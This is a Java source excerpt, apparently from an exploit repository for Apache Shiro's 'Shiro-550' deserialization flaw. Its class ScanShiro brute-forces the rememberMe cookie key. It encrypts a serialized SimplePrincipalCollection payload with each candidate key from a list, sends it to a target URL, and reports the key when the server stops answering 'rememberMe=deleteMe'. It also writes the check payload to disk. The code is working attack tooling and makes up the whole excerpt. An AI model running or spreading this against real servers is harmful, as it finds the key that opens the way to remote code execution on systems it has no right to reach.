Class ScanShiro

Shiro/shiro550/src/main/java/com/firebasky/exp/ScanShiro.java:22–130

public class ScanShiro extends Thread  {
    @Override
    public void run() {
            super.run();
            String url = "http://127.0.0.1:8080";
            String filename = "key.txt";
            List lists = null;
            try {
                lists = readFile(filename);
            } catch (IOException e) {
                e.printStackTrace();
            }
            for (Object list : lists) {
                String payload = null;
                try {
                    payload = EXP("payload",list.toString());
                } catch (Exception e) {
                    e.printStackTrace();
                }
                String res = httpGet(url,payload);
                boolean isMatch = Pattern.matches("(.*)rememberMe=deleteMe.*", res);
                if (isMatch) {
                    System.out.println("key不正确.....");
                }else {
                    System.out.print("key正确为:");
                    System.out.println("\33[32;4m"+list.toString());
                    System.exit(0);
                }
            }
        }

    /**
     * 读序列化文件字节码内容
     * @param path
     * @return
     * @throws Exception
     */
    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }

    /**
     * 生成check的反序列化
     * @throws Exception
     */
    public static void checkpayload() throws Exception {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();
    }